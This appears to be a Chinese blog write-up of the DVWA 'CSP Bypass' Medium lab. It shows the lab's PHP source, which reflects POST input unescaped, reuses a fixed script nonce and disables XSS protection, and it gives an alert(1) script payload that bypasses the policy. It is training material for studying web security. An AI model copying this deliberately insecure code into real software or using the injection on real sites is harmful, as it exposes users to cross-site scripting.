查看代码
<?php $headerCSP = "Content-Security-Policy: script-src ‘self‘ ‘unsafe-inline‘ ‘nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=‘;"; header($headerCSP); // Disable XSS protections so that inline alert boxes will work header ("X-XSS-Protection: 0"); # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> ?> <?php if (isset ($_POST[‘include‘])) { $page[ ‘body‘ ] .= " " . $_POST[‘include‘] . " "; } $page[ ‘body‘ ] .= ‘ <form name="csp" method="POST"> <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> ‘;
http头信息中的script-src的合法来源发生了变化,说明如下
现在更加简单了,可以直接输入以下代码
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
弹出如下信息框,表示注入成功。
参考:https://zhuanlan.zhihu.com/p/110012962
DVWA-13.2 CSP Bypass(绕过浏览器的安全策略)-Medium
原文:https://www.cnblogs.com/zhengna/p/12782033.html